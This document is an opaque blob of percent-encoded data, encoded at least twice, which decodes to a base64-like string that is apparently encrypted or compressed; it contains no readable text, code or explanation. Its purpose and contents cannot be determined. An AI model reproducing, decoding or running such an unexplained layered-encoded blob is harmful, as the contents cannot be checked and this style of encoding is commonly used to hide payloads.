%34%35%25%35%38%25%32%62%25%33%32%25%34%66%25%34%65%25%33%37%25%33%32%25%34%38%25%32%66%25%36%66%25%36%33%25%34%32%25%37%37%25%36%36%25%36%64%25%33%33%25%37%30%25%35%31%25%36%34%25%36%32%25%35%37%25%36%35%25%34%38%25%37%38%25%34%34%25%34%39%25%37%38%25%32%66%25%36%37%25%36%36%25%37%36%25%33%31%25%37%34%25%34%39%25%35%61%25%34%38%25%36%35%25%34%31%25%33%34%25%33%34%25%36%39%25%34%61%25%37%31%25%35%37%25%35%61%25%37%31%25%36%66%25%32%66%25%33%30%25%33%33%25%37%35%25%33%33%25%35%39%25%36%34%25%36%32%25%33%30%25%37%61%25%33%39%25%34%64%25%33%36%25%35%61%25%34%32%25%36%64%25%33%31%25%36%34%25%36%32%25%36%65%25%35%38%25%36%61%25%36%32%25%35%34%25%32%66%25%35%34%25%33%30%25%35%34%25%36%66%25%33%39%25%37%33%25%37%33%25%35%36%25%36%37%25%32%62%25%37%61%25%36%65%25%37%37%25%34%39%25%33%35%25%33%39%25%35%35%25%37%35%25%34%61%25%34%37%25%37%38%25%36%31%25%34%31%25%35%30%25%34%32%25%33%39%25%32%66%25%33%38%25%36%32%25%37%32%25%35%30%25%33%35%25%37%33%25%34%31%25%33%39%25%33%34%25%37%38%25%36%66%25%36%35%25%37%39%25%37%37%25%34%39%25%34%36%25%34%36%25%37%30%25%36%35%25%33%35%25%32%62%25%36%34%25%34%32%25%37%33%25%37%35%25%37%35%25%37%31%25%33%33%25%36%35%25%34%37%25%35%30%25%37%34%25%36%62%25%36%34%25%37%38%25%36%32%25%36%32%25%37%31%25%36%62%25%35%32%25%33%30%25%37%34%25%36%63%25%36%33%25%32%62%25%37%36%25%36%34%25%36%34%25%36%63%25%36%39%25%36%31%25%34%36%25%37%32%25%34%65%25%34%64%25%34%33%25%37%35%25%37%36%25%34%34%25%37%39%25%37%34%25%36%65%25%35%61%25%34%31%25%35%38%25%36%32%25%34%61%25%37%35%25%36%39%25%36%37%25%37%37%25%37%39%25%33%33%25%36%63%25%36%65%25%36%32%25%37%31%25%33%33%25%33%31%25%33%32%25%35%34%25%34%38%25%33%30%25%37%61%25%34%61%25%33%30%25%37%38%25%35%33%25%33%30%25%36%33%25%36%65%25%33%33%25%36%31%25%34%61%25%36%66%25%33%39%25%36%32%25%37%30%25%35%36%25%34%32%25%37%31%25%35%30%25%34%62%25%33%33%25%33%39%25%35%39%25%33%32%25%35%33%25%35%31%25%34%63%25%37%34%25%33%38%25%37%37%25%35%38%25%35%36%25%36%37%25%34%38%25%36%39%25%34%62%25%37%36%25%34%36%25%34%36%25%36%37%25%34%32%25%36%36%25%35%35%25%35%34%25%36%65%25%33%31%25%32%62%25%33%30%25%34%34%25%33%36%25%33%39%25%37%34%25%36%35%25%37%34%25%35%32%25%33%31%25%33%32%25%35%30%25%36%36%25%36%63%25%36%31%25%37%35%25%37%61%25%34%38%25%37%32%25%36%33%25%34%64%25%34%65%25%32%62%25%34%61%25%34%33%25%36%63%25%33%33%25%34%33%25%36%38%25%34%61%25%34%38%25%37%61%25%33%39%25%34%66%25%35%30%25%34%32%25%36%62%25%35%33%25%36%65%25%36%39%25%37%37%25%33%36%25%33%38%25%36%34%25%36%63%25%37%38%25%36%36%25%36%38%25%36%39%25%34%36%25%33%36%25%36%66%25%34%37%25%35%38%25%33%36%25%37%33%25%34%38%25%35%30%25%36%36%25%33%36%25%32%62%25%33%37%25%37%37%25%35%33%25%37%35%25%36%38%25%34%36%25%33%30%25%37%37%25%34%61%25%37%30%25%32%62%25%35%38%25%32%66%25%35%31%25%36%66%25%33%34%25%35%61%25%33%33%25%35%35%25%36%31%25%36%35%25%34%37%25%35%33%25%37%61%25%36%63%25%36%38%25%37%33%25%34%31%25%37%30%25%36%32%25%34%66%25%36%64%25%36%63%25%33%33%25%36%64%25%37%33%25%34%64%25%36%66%25%34%38%25%34%64%25%37%37%25%35%38%25%35%36%25%35%37%25%37%37%25%36%63%25%37%32%25%37%61%25%36%37%25%33%32%25%37%31%25%36%34%25%34%62%25%37%30%25%34%34%25%37%30%25%36%31%25%32%66%25%35%38%25%36%63%25%35%31%25%36%34%25%35%38%25%35%36%25%36%32%25%34%39%25%36%35%25%35%38%25%33%30%25%35%61%25%35%37%25%36%32%25%37%37%25%33%35%25%37%61%25%36%63%25%33%39%25%34%65%25%35%36%25%37%39%25%37%33%25%37%30%25%35%32%25%32%62%25%33%33%25%37%32%25%35%36%25%34%63%25%34%37%25%33%37%25%35%32%25%34%35%25%34%32%25%37%34%25%36%35%25%36%35%25%34%63%25%36%61%25%36%31%25%36%62%25%36%63%25%36%31%25%36%65%25%35%35%25%36%31%25%36%35%25%35%36%25%34%33%25%36%66%25%33%34%25%33%33%25%34%33%25%33%35%25%35%61%25%36%64%25%37%30%25%36%36%25%33%39%25%33%36%25%37%31%25%34%63%25%32%62%25%35%30%25%34%63%25%32%66%25%34%38%25%33%30%25%33%37%25%33%31%25%33%32%25%33%37%25%36%31%25%37%33%25%37%39%25%36%64%25%36%32%25%33%31%25%37%35%25%34%38%25%33%30%25%37%34%25%34%63%25%34%32%25%37%33%25%34%38%25%37%32%25%33%32%25%33%39%25%37%32%25%35%38%25%35%38%25%37%38%25%37%32%25%34%36%25%36%64%25%37%34%25%33%38%25%33%39%25%37%36%25%37%33%25%35%39%25%36%65%25%33%39%25%36%36%25%36%38%25%33%34%25%36%63%25%33%32%25%36%34%25%36%33%25%34%39%25%33%38%25%33%38%25%35%39%25%37%30%25%37%36%25%36%34%25%36%37%25%36%31%25%36%37%25%33%32%25%36%65%25%37%31%25%33%32%25%33%30%25%33%38%25%37%36%25%37%33%25%37%39%25%37%33%25%33%31%25%36%38%25%37%61%25%36%33%25%37%32%25%37%38%25%34%65%25%35%38%25%34%62%25%33%30%25%37%30%25%34%65%25%33%34%25%37%38%25%37%38%25%33%30%25%33%39%25%33%33%25%34%36%25%36%64%25%37%36%25%34%61%25%34%31%25%36%62%25%34%36%25%34%66%25%37%35%25%37%34%25%35%33%25%34%31%25%34%62%25%33%35%25%34%37%25%33%39%25%37%38%25%34%61%25%36%38%25%34%63%25%34%35%25%35%61%25%34%65%25%34%38%25%32%62%25%35%31%25%36%33%25%32%62%25%34%64%25%33%39%25%33%35%25%34%34%25%37%36%25%36%31%25%36%63%25%36%64%25%34%66%25%34%32%25%36%34%25%35%38%25%36%32%25%36%39%25%35%31%25%36%36%25%33%36%25%36%35%25%36%65%25%37%61%25%36%39%25%35%30%25%36%63%25%36%39%25%33%36%25%33%31%25%36%65%25%37%38%25%32%62%25%37%39%25%36%39%25%33%33%25%36%66%25%34%61%25%33%32%25%37%39%25%36%64%25%37%32%25%35%30%25%36%35%25%35%36%25%37%32%25%34%61%25%35%39%25%37%31%25%34%63%25%34%35%25%35%30%25%36%35%25%37%31%25%33%34%25%37%38%25%35%35%25%34%63%25%35%39%25%33%39%25%34%32%25%36%61%25%37%39%25%35%34%25%37%39%25%34%65%25%35%35%25%34%62%25%36%39%25%36%32%25%36%33%25%35%35%25%35%38%25%33%35%25%33%35%25%33%34%25%37%33%25%35%33%25%37%32%25%33%34%25%36%65%25%36%31%25%36%34%25%33%35%25%37%37%25%36%36%25%35%38%25%34%62%25%34%34%25%35%32%25%34%63%25%36%35%25%37%36%25%34%33%25%37%34%25%35%35%25%37%61%25%34%31%25%36%66%25%36%35%25%35%33%25%37%61%25%34%39%25%36%33%25%34%31%25%33%34%25%33%36%25%36%38%25%36%61%25%37%34%25%36%63%25%33%32%25%34%32%25%36%39%25%37%36%25%33%37%25%37%33%25%36%64%25%37%34%25%35%61%25%33%30%25%36%32%25%35%36%25%34%64%25%35%31%25%34%63%25%36%39%25%37%39%25%33%30%25%37%39%25%33%31%25%35%36%25%36%64%25%34%35%25%33%30%25%34%31%25%34%64%25%37%39%25%36%66%25%32%62%25%33%33%25%37%32%25%35%36%25%34%32%25%36%36%25%33%35%25%32%66%25%33%33%25%37%38%25%35%31%25%35%61%25%35%34%25%34%34%25%33%30%25%34%33%25%34%64%25%36%64%25%36%39%25%37%38%25%37%39%25%33%35%25%32%66%25%35%32%25%33%35%25%35%38%25%33%32%25%33%34%25%33%30%25%34%63%25%35%31%25%35%34%25%33%34%25%35%35%25%35%36%25%35%35%25%36%39%25%35%38%25%33%38%25%34%31%25%34%66%25%35%36%25%35%36%25%36%34%25%37%38%25%37%32%25%35%31%25%35%38%25%33%30%25%37%32%25%37%30%25%37%37%25%36%33%25%32%62%25%36%62%25%37%39%25%37%32%25%37%34%25%33%34%25%37%31%25%37%34%25%33%31%25%37%35%25%35%39%25%33%34%25%34%65%25%36%39%25%33%39%25%33%39%25%35%61%25%37%32%25%36%31%25%37%30%25%37%39%25%33%31%25%35%61%25%34%31%25%36%31%25%34%36%25%34%32%25%35%61%25%35%37%25%34%33%25%36%31%25%34%62%25%37%37%25%34%61%25%35%32%25%36%31%25%37%32%25%36%63%25%36%31%25%36%63%25%36%63%25%36%37%25%36%65%25%33%30%25%37%30%25%36%65%25%35%31%25%35%37%25%35%35%25%34%63%25%37%31%25%34%34%25%36%37%25%36%31%25%36%38%25%35%33%25%34%36%25%33%32%25%34%31%25%35%32%25%34%35%25%37%36%25%32%62%25%37%31%25%36%39%25%35%30%25%33%31%25%33%39%25%35%36%25%37%37%25%35%33%25%36%35%25%37%38%25%35%30%25%33%38%25%35%34%25%36%61%25%35%35%25%34%61%25%36%65%25%35%34%25%36%62%25%34%31%25%36%36%25%37%36%25%37%38%25%37%34%25%36%32%25%37%36%25%34%31%25%36%62%25%33%31%25%34%34%25%35%36%25%33%33%25%35%39%25%33%36%25%34%64%25%37%38%25%35%34%25%36%31%25%33%37%25%35%32%25%33%35%25%35%31%25%36%64%25%36%34%25%36%61%25%34%35%25%35%31%25%34%61%25%37%31%25%36%32%25%34%32%25%36%33%25%36%35%25%35%34%25%34%35%25%33%34%25%37%36%25%35%61%25%36%37%25%36%64%25%33%31%25%35%61%25%36%61%25%36%62%25%37%36%25%34%66%25%35%37%25%34%62%25%36%66%25%36%32%25%35%38%25%34%62%25%35%31%25%35%38%25%37%36%25%37%36%25%34%66%25%34%65%25%37%61%25%35%37%25%36%34%25%33%38%25%37%32%25%37%32%25%35%32%25%36%63%25%37%33%25%37%38%25%35%37%25%36%38%25%34%36%25%36%61%25%36%62%25%35%33%25%37%61%25%33%39%25%35%39%25%34%33%25%34%32%25%37%39%25%37%30%25%35%34%25%37%33%25%34%34%25%34%37%25%34%35%25%34%64%25%35%61%25%36%34%25%33%30%25%36%39%25%34%63%25%36%31%25%36%35%25%35%36%25%37%39%25%36%64%25%34%62%25%35%61%25%33%32%25%34%37%25%33%30%25%32%66%25%36%36%25%36%65%25%37%30%25%35%36%25%36%63%25%32%66%25%37%33%25%33%33%25%33%31%25%37%36%25%32%62%25%37%33%25%35%38%25%33%30%25%37%36%25%35%35%25%33%32%25%36%66%25%36%37%25%37%37%25%37%31%25%33%38%25%36%31%25%35%37%25%36%66%25%36%34%25%37%35%25%35%33%25%33%35%25%36%65%25%37%32%25%36%65%25%37%35%25%32%62%25%34%31%25%37%33%25%37%38%25%35%61%25%34%65%25%36%66%25%35%36%25%34%31%25%36%65%25%34%63%25%34%39%25%34%36%25%37%61%25%34%36%25%34%38%25%34%64%25%37%61%25%33%35%25%33%32%25%36%32%25%35%31%25%33%36%25%33%35%25%35%34%25%33%36%25%32%66%25%34%63%25%35%34%25%36%38%25%34%65%25%37%35%25%35%38%25%34%63%25%35%30%25%34%64%25%36%31%25%34%62%25%37%32%25%37%31%25%35%32%25%33%31%25%36%34%25%33%33%25%34%31%25%34%63%25%37%32%25%34%32%25%36%64%25%37%30%25%33%37%25%32%66%25%34%33%25%33%34%25%36%31%25%33%38%25%33%34%25%34%31%25%36%34%25%36%31%25%36%35%25%34%31%25%37%32%25%36%66%25%35%34%25%36%31%25%36%63%25%35%39%25%36%31%25%34%62%25%36%65%25%34%61%25%33%37%25%36%63%25%36%63%25%35%37%25%35%35%25%34%63%25%32%62%25%36%64%25%34%66%25%37%33%25%33%37%25%35%31%25%34%34%25%33%37%25%36%36%25%34%37%25%35%37%25%33%39%25%37%34%25%34%39%25%36%63%25%35%35%25%37%39%25%33%39%25%32%62%25%37%36%25%34%63%25%36%39%25%33%38%25%33%30%25%34%38%25%35%30%25%36%64%25%34%63%25%33%36%25%37%37%25%35%32%25%34%31%25%34%31%25%34%33%25%36%39%25%33%38%25%35%38%25%36%36%25%33%33%25%34%37%25%36%34%25%32%66%25%34%36%25%33%35%25%35%32%25%33%38%25%33%31%25%36%32%25%34%35%25%34%35%25%34%32%25%34%62%25%34%34%25%36%34%25%37%34%25%33%35%25%37%38%25%36%35%25%34%33%25%35%31%25%36%32%25%35%30%25%37%38%25%34%37%25%33%36%25%36%37%25%37%31%25%33%31%25%33%36%25%37%61%25%34%63%25%33%37%25%36%36%25%35%36%25%37%33%25%36%39%25%34%31%25%36%33%25%32%66%25%37%39%25%33%36%25%37%36%25%34%31%25%34%64%25%36%31%25%37%61%25%33%34%25%33%37%25%33%38%25%36%32%25%35%32%25%35%61%25%35%38%25%35%32%25%34%36%25%35%39%25%35%35%25%33%35%25%33%39%25%36%37%25%34%37%25%34%37%25%36%66%25%36%38%25%36%32%25%34%32%25%37%39%25%33%36%25%34%37%25%36%37%25%37%34%25%32%62%25%35%34%25%37%31%25%33%33%25%35%61%25%33%39%25%34%33%25%34%36%25%35%61%25%36%63%25%36%35%25%34%32%25%34%34%25%34%37%25%35%31%25%34%63%25%34%38%25%35%35%25%37%31%25%37%39%25%34%35%25%34%65%25%33%35%25%34%34%25%37%39%25%36%65%25%35%32%25%34%34%25%37%32%25%36%64%25%32%66%25%34%34%25%36%36%25%35%34%25%34%31%25%36%65%25%34%65%25%35%39%25%34%65%25%37%32%25%34%61%25%37%36%25%34%35%25%33%30%25%34%37%25%34%38%25%32%62%25%36%64%25%36%64%25%36%63%25%36%37%25%36%64%25%33%30%25%33%39%25%37%34%25%34%61%25%35%35%25%36%37%25%34%66%25%34%66%25%36%66%25%35%35%25%34%37%25%35%61%25%33%32%25%35%38%25%35%33%25%33%34%25%33%39%25%36%63%25%35%35%25%34%64%25%35%33%25%35%37%25%34%38%25%35%33%25%36%36%25%36%65%25%36%66%25%36%65%25%36%34%25%34%33%25%35%32%25%34%31%25%36%35%25%35%37%25%33%36%25%36%39%25%35%35%25%36%62%25%34%64%25%37%31%25%35%36%25%37%31%25%36%66%25%36%66%25%37%38%25%35%36%25%36%63%25%36%31%25%34%34%25%33%35%25%34%38%25%34%63%25%33%30%25%37%38%25%34%65%25%35%38%25%37%32%25%33%39%25%34%39%25%33%39%25%37%38%25%36%38%25%34%39%25%33%37%25%35%37%25%37%30%25%34%39%25%34%64%25%34%34%25%34%31%25%35%61%25%36%31%25%35%38%25%33%39%25%37%30%25%34%32%25%34%61%25%34%33%25%33%30%25%34%65%25%35%33%25%35%37%25%34%31%25%33%35%25%34%32%25%34%65%25%36%63%25%32%66%25%33%30%25%34%62%25%34%63%25%33%36%25%32%62%25%35%32%25%33%30%25%34%62%25%35%35%25%37%32%25%34%36%25%34%64%25%36%31%25%37%39%25%36%33%25%37%61%25%34%37%25%34%34%25%33%39%25%34%66%25%35%31%25%34%36%25%37%61%25%36%65%25%33%33%25%35%35%25%34%66%25%34%37%25%34%37%25%37%33%25%36%61%25%32%66%25%36%32%25%35%38%25%35%33%25%34%64%25%36%37%25%35%38%25%35%34%25%33%30%25%37%38%25%37%33%25%36%36%25%36%65%25%34%33%25%33%33%25%34%36%25%35%39%25%35%32%25%36%39%25%33%35%25%36%31%25%37%61%25%37%39%25%36%37%25%37%37%25%36%63%25%36%65%25%35%35%25%36%62%25%35%31%25%36%36%25%36%62%25%36%35%25%36%62%25%36%63%25%37%30%25%34%34%25%34%34%25%36%39%25%37%31%25%35%36%25%33%36%25%36%33%25%35%36%25%34%62%25%37%32%25%35%61%25%35%30%25%34%35%25%33%34%25%34%36%25%36%61%25%37%37%25%33%30%25%34%37%25%35%33%25%33%33%25%34%33%25%34%34%25%33%34%25%34%61%25%35%39%25%37%37%25%34%37%25%36%33%25%35%38%25%37%32%25%32%62%25%34%61%25%37%36%25%34%38%25%35%30%25%37%32%25%37%30%25%36%32%25%32%62%25%36%33%25%33%32%25%34%37%25%34%35%25%34%62%25%35%39%25%34%36%25%34%64%25%33%37%25%35%61%25%34%33%25%36%64%25%32%66%25%36%35%25%33%33%25%37%36%25%37%39%25%32%66%25%37%36%25%36%64%25%35%61%25%36%32%25%35%39%25%33%33%25%35%38%25%35%38%25%36%39%25%35%30%25%36%37%25%36%36%25%35%36%25%34%36%25%34%31%25%37%39%25%36%62%25%34%39%25%37%33%25%34%38%25%37%33%25%37%33%25%34%33%25%33%32%25%37%31%25%36%37%25%33%36%25%34%36%25%37%36%25%33%31%25%36%31%25%36%64%25%36%37%25%33%36%25%36%62%25%36%66%25%34%62%25%36%39%25%33%33%25%33%39%25%33%32%25%35%36%25%35%36%25%36%38%25%34%39%25%35%38%25%37%37%25%37%34%25%34%33%25%32%66%25%36%36%25%36%31%25%36%62%25%34%32%25%34%62%25%35%39%25%36%62%25%34%38%25%33%30%25%36%33%25%34%31%25%36%66%25%34%62%25%35%36%25%34%31%25%36%64%25%34%62%25%33%38%25%37%61%25%33%30%25%35%33%25%34%36%25%35%33%25%36%65%25%37%34%25%36%37%25%37%61%25%33%38%25%36%63%25%33%38%25%37%39%25%36%37%25%33%36%25%33%35%25%33%38%25%37%32%25%36%32%25%35%36%25%34%64%25%36%62%25%33%35%25%34%61%25%37%36%25%34%66%25%36%33%25%34%61%25%35%30%25%35%38%25%37%34%25%36%63%25%35%32%25%37%61%25%34%33%25%34%65%25%35%30%25%34%62%25%36%33%25%34%34%25%36%61%25%36%35%25%35%33%25%36%63%25%34%64%25%37%61%25%37%61%25%37%38%25%34%35%25%35%38%25%33%38%25%33%33%25%35%34%25%33%38%25%34%34%25%35%34%25%36%32%25%34%66%25%37%38%25%36%35%25%33%31%25%37%38%25%34%34%25%37%32%25%36%64%25%33%38%25%36%61%25%35%31%25%36%37%25%35%31%25%33%37%25%35%32%25%32%62%25%36%37%25%33%30%25%36%63%25%35%32%25%35%33%25%34%63%25%35%38%25%34%32%25%36%65%25%34%37%25%34%33%25%37%61%25%37%61%25%37%31%25%34%62%25%36%62%25%34%65%25%37%30%25%36%37%25%35%37%25%37%33%25%36%66%25%33%37%25%37%61%25%36%36%25%34%39%25%33%31%25%35%35%25%32%66%25%34%38%25%33%39%25%36%64%25%32%66%25%35%30%25%36%62%25%35%30%25%37%39%25%33%39%25%35%34%25%32%66%25%33%32%25%33%31%25%36%33%25%37%39%25%37%32%25%33%33%25%35%31%25%37%32%25%36%65%25%35%34%25%34%61%25%34%36%25%35%37%25%37%35%25%36%35%25%37%34%25%35%34%25%35%30%25%34%64%25%35%35%25%34%32%25%33%30%25%33%32%25%36%31%25%34%35%25%33%32%25%34%65%25%33%39%25%34%64%25%33%31%25%35%61%25%36%66%25%36%37%25%37%39%25%35%31%25%37%36%25%33%36%25%33%30%25%36%33%25%35%36%25%36%39%25%35%61%25%37%36%25%37%61%25%37%37%25%37%36%25%36%34%25%34%31%25%36%61%25%35%39%25%36%34%25%37%33%25%37%34%25%36%33%25%34%64%25%36%62%25%36%35%25%37%31%25%37%33%25%33%35%25%35%38%25%36%35%25%33%31%25%35%38%25%34%37%25%33%39%25%34%36%25%36%64%25%33%38%25%32%66%25%35%37%25%35%61%25%34%63%25%36%61%25%37%37%25%35%32%25%35%31%25%34%34%25%36%33%25%35%36%25%34%32%25%33%32%25%34%63%25%36%63%25%34%37%25%36%63%25%35%33%25%35%33%25%33%39%25%35%37%25%37%31%25%36%66%25%37%39%25%36%66%25%33%30%25%36%37%25%35%39%25%34%33%25%36%64%25%37%37%25%35%38%25%36%31%25%33%38%25%36%39%25%36%66%25%36%63%25%33%30%25%34%37%25%35%34%25%34%34%25%33%30%25%37%35%25%35%30%25%36%63%25%34%37%25%37%31%25%35%33%25%36%35%25%37%37%25%35%35%25%34%31%25%36%31%25%37%34%25%34%38%25%34%39%25%33%38%25%34%34%25%34%36%25%37%31%25%36%62%25%34%39%25%35%35%25%37%31%25%37%36%25%36%62%25%35%39%25%37%35%25%35%36%25%37%32%25%37%39%25%36%66%25%36%36%25%37%30%25%34%65%25%36%33%25%36%62%25%35%61%25%36%64%25%34%32%25%37%32%25%34%35%25%36%35%25%35%39%25%35%34%25%35%31%25%36%37%25%35%32%25%36%35%25%37%38%25%32%62%25%32%66%25%34%65%25%37%34%25%34%36%25%33%36%25%34%38%25%36%39%25%36%66%25%34%39%25%35%35%25%33%31%25%37%33%25%34%39%25%34%61%25%34%38%25%35%61%25%33%37%25%34%36%25%36%35%25%33%30%25%36%34%25%34%31%25%34%62%25%36%62%25%35%61%25%36%65%25%35%33%25%33%39%25%36%34%25%34%62%25%33%35%25%36%64%25%37%61%25%34%31%25%35%39%25%33%38%25%37%34%25%33%33%25%33%33%25%37%31%25%35%61%25%37%38%25%34%38%25%35%30%25%36%39%25%34%32%25%33%30%25%34%34%25%37%37%25%36%36%25%36%37%25%36%32%25%34%64%25%37%36%25%34%63%25%35%31%25%34%36%25%37%61%25%37%33%25%33%39%25%34%37%25%33%38%25%37%61%25%37%34%25%36%38%25%33%33%25%36%38%25%34%39%25%35%31%25%34%63%25%34%34%25%36%35%25%37%31%25%35%33%25%37%32%25%34%64%25%32%62%25%36%37%25%34%65%25%34%38%25%35%30%25%34%64%25%37%37%25%33%33%25%35%33%25%33%34%25%35%32%25%35%37%25%33%30%25%34%38%25%35%39%25%36%65%25%37%31%25%34%64%25%36%39%25%32%62%25%36%32%25%37%32%25%33%35%25%33%38%25%36%35%25%37%38%25%37%37%25%37%39%25%37%32%25%37%32%25%36%35%25%37%39%25%36%33%25%32%66%25%35%33%25%34%61%25%33%37%25%36%63%25%32%66%25%34%31%25%37%61%25%34%65%25%34%65%25%36%64%25%34%39%25%32%62%25%36%33%25%34%39%25%34%66%25%34%34%25%36%63%25%37%34%25%35%37%25%34%64%25%35%31%25%36%38%25%34%66%25%37%35%25%34%33%25%34%34%25%37%33%25%34%35%25%37%34%25%34%38%25%34%38%25%36%34%25%35%37%25%37%38%25%35%39%25%32%62%25%33%38%25%37%30%25%36%37%25%37%38%25%37%32%25%35%38%25%34%32%25%37%34%25%34%37%25%36%34%25%34%33%25%34%33%25%33%30%25%34%64%25%33%32%25%33%31%25%35%39%25%35%38%25%34%63%25%37%34%25%36%64%25%34%38%25%36%65%25%37%38%25%33%32%25%36%38%25%36%31%25%36%37%25%34%32%25%36%31%25%33%35%25%37%34%25%34%65%25%35%37%25%34%37%25%37%39%25%33%35%25%37%61%25%33%36%25%37%31%25%34%64%25%34%31%25%34%63%25%37%61%25%33%34%25%37%36%25%35%31%25%34%63%25%36%37%25%34%33%25%36%62%25%34%39%25%35%31%25%33%37%25%33%38%25%36%35%25%34%35%25%36%39%25%36%39%25%33%38%25%36%65%25%36%65%25%34%34%25%37%39%25%34%61%25%34%35%25%34%63%25%35%34%25%34%39%25%36%66%25%37%30%25%36%38%25%33%32%25%34%36%25%33%37%25%37%33%25%32%62%25%34%38%25%35%39%25%37%33%25%37%36%25%37%38%25%37%38%25%33%32%25%34%32%25%34%37%25%35%30%25%36%31%25%34%32%25%36%64%25%37%38%25%34%36%25%36%64%25%37%32%25%36%34%25%33%34%25%35%39%25%36%32%25%36%62%25%34%34%25%33%38%25%34%66%25%33%38%25%32%62%25%35%38%25%34%61%25%36%38%25%36%38%25%37%38%25%37%32%25%34%64%25%32%62%25%36%63%25%36%31%25%34%65%25%33%36%25%36%38%25%33%38%25%33%31%25%36%61%25%36%62%25%37%34%25%33%37%25%33%34%25%32%66%25%34%32%25%36%31%25%33%39%25%36%62%25%33%34%25%36%64%25%33%36%25%35%35%25%33%37%25%34%61%25%37%35%25%34%33%25%34%35%25%36%65%25%34%61%25%34%61%25%34%61%25%32%62%25%36%35%25%33%37%25%33%35%25%37%38%25%33%39%25%34%32%25%35%31%25%33%38%25%34%66%25%34%61%25%34%39%25%34%63%25%37%33%25%32%62%25%36%64%25%36%34%25%36%36%25%36%39%25%33%33%25%35%34%25%33%38%25%36%36%25%35%37%25%37%30%25%34%62%25%36%39%25%34%65%25%34%66%25%35%35%25%33%37%25%35%31%25%36%33%25%36%34%25%36%37%25%34%37%25%36%38%25%37%39%25%37%61%25%36%64%25%32%62%25%32%62%25%35%61%25%35%32%25%37%34%25%34%64%25%35%33%25%35%36%25%36%35%25%36%36%25%36%64%25%34%61%25%32%62%25%33%38%25%34%39%25%37%30%25%36%39%25%36%65%25%36%36%25%34%38%25%35%37%25%33%31%25%32%66%25%34%64%25%37%35%25%35%61%25%36%34%25%36%33%25%36%35%25%36%33%25%35%34%25%34%31%25%36%36%25%36%62%25%34%62%25%34%62%25%36%63%25%37%32%25%36%37%25%34%34%25%34%61%25%33%34%25%35%35%25%37%34%25%37%34%25%36%64%25%37%37%25%34%32%25%37%39%25%36%32%25%36%62%25%33%32%25%34%64%25%35%35%25%36%62%25%34%33%25%33%31%25%36%31%25%36%65%25%36%65%25%32%66%25%37%33%25%37%33%25%34%62%25%37%35%25%37%61%25%33%33%25%34%37%25%35%30%25%34%63%25%36%63%25%34%35%25%37%31%25%37%39%25%37%39%25%37%39%25%34%38%25%36%32%25%33%31%25%34%38%25%35%35%25%36%64%25%36%32%25%35%61%25%34%38%25%34%33%25%33%32%25%33%31%25%36%31%25%33%35%25%36%63%25%37%32%25%37%35%25%33%32%25%35%61%25%34%61%25%34%64%25%33%39%25%34%62%25%37%61%25%34%64%25%33%34%25%36%64%25%36%64%25%34%65%25%36%33%25%35%33%25%36%63%25%36%31%25%34%31%25%36%38%25%34%35%25%36%34%25%37%33%25%32%66%25%34%32%25%37%33%25%34%36%25%33%33%25%36%62%25%33%31%25%34%35%25%33%35%25%37%61%25%36%64%25%34%64%25%35%38%25%34%31%25%33%38%25%35%33%25%37%34%25%34%65%25%36%31%25%35%35%25%33%37%25%33%38%25%35%35%25%37%35%25%34%65%25%34%66%25%33%38%25%34%38%25%34%39%25%36%35%25%37%32%25%36%35%25%37%39%25%35%39%25%32%62%25%37%34%25%36%61%25%33%36%25%34%31%25%37%30%25%36%38%25%33%30%25%34%38%25%37%37%25%36%63%25%33%36%25%36%39%25%33%37%25%33%38%25%33%34%25%37%30%25%34%34%25%35%34%25%36%34%25%36%39%25%33%35%25%32%62%25%32%66%25%34%34%25%35%30%25%34%37%25%35%35%25%33%36%25%36%37%25%33%33%25%36%34%25%33%33%25%34%66%25%36%32%25%32%66%25%36%35%25%33%30%25%35%37%25%33%37%25%36%39%25%35%37%25%34%36%25%33%38%25%35%34%25%36%34%25%37%35%25%32%66%25%37%35%25%34%36%25%37%31%25%33%35%25%34%38%25%36%36%25%37%38%25%34%37%25%33%39%25%36%32%25%35%39%25%36%62%25%33%30%25%37%35%25%37%61%25%34%31%25%35%30%25%37%34%25%37%31%25%34%34%25%33%35%25%33%33%25%33%33%25%33%32%25%34%64%25%36%62%25%34%38%25%37%32%25%37%39%25%36%32%25%36%62%25%34%39%25%35%34%25%34%37%25%33%38%25%37%39%25%33%30%25%34%37%25%34%32%25%33%32%25%33%39%25%35%38%25%35%33%25%34%39%25%37%32%25%36%33%25%33%30%25%36%39%25%35%30%25%34%36%25%37%34%25%33%36%25%33%38%25%33%30%25%35%38%25%34%64%25%35%37%25%36%32%25%35%37%25%33%39%25%33%38%25%33%34%25%37%33%25%37%37%25%36%65%25%33%33%25%37%34%25%36%33%25%35%32%25%33%38%25%36%35%25%34%35%25%33%30%25%35%36%25%34%37%25%36%34%25%34%35%25%35%36%25%33%30%25%34%62%25%35%34%25%33%32%25%34%34%25%35%39%25%34%63%25%34%33%25%37%38%25%35%37%25%36%65%25%37%36%25%34%61%25%34%39%25%37%33%25%34%33%25%33%35%25%35%30%25%37%34%25%33%30%25%33%37%25%35%34%25%35%37%25%33%33%25%33%36%25%34%38%25%35%36%25%34%64%25%34%39%25%36%64%25%35%30%25%35%36%25%34%63%25%33%35%25%35%36%25%33%38%25%36%33%25%37%37%25%34%36%25%36%63%25%37%30%25%37%30%25%35%30%25%34%36%25%35%38%25%37%61%25%34%38%25%33%36%25%36%63%25%34%36%25%37%30%25%35%32%25%36%65%25%36%63%25%33%30%25%35%61%25%34%66%25%36%34%25%36%35%25%36%33%25%34%31%25%37%34%25%33%35%25%34%65%25%36%38%25%34%36%25%34%35%25%35%38%25%33%31%25%36%66%25%33%39%25%36%33%25%33%35%25%33%38%25%35%35%25%36%36%25%36%36%25%36%36%25%37%31%25%37%34%25%37%38%25%33%36%25%34%34%25%37%39%25%35%31%25%34%64%25%36%31%25%37%36%25%32%66%25%33%31%25%37%37%25%33%37%25%35%34%25%37%38%25%34%36%25%37%36%25%34%36%25%36%66%25%34%31%25%37%38%25%34%61%25%33%32%25%37%39%25%37%30%25%36%39%25%33%34%25%33%32%25%34%63%25%33%31%25%36%66%25%35%61%25%37%32%25%37%35%25%34%64%25%34%63%25%36%33%25%36%37%25%37%35%25%34%62%25%37%31%25%36%36%25%37%33%25%32%62%25%33%32%25%37%31%25%36%34%25%33%30%25%34%63%25%34%66%25%36%61%25%37%39%25%33%31%25%33%37%25%36%38%25%35%34%25%36%61%25%33%34%25%36%61%25%35%35%25%33%31%25%37%31%25%34%62%25%34%39%25%37%39%25%34%33%25%37%39%25%33%31%25%34%36%25%34%36%25%33%32%25%33%39%25%34%64%25%37%61%25%36%36%25%33%39%25%34%65%25%33%31%25%37%33%25%36%65%25%37%39%25%35%32%25%35%61%25%34%32%25%32%66%25%35%39%25%33%32%25%37%36%25%34%38%25%33%33%25%37%61%25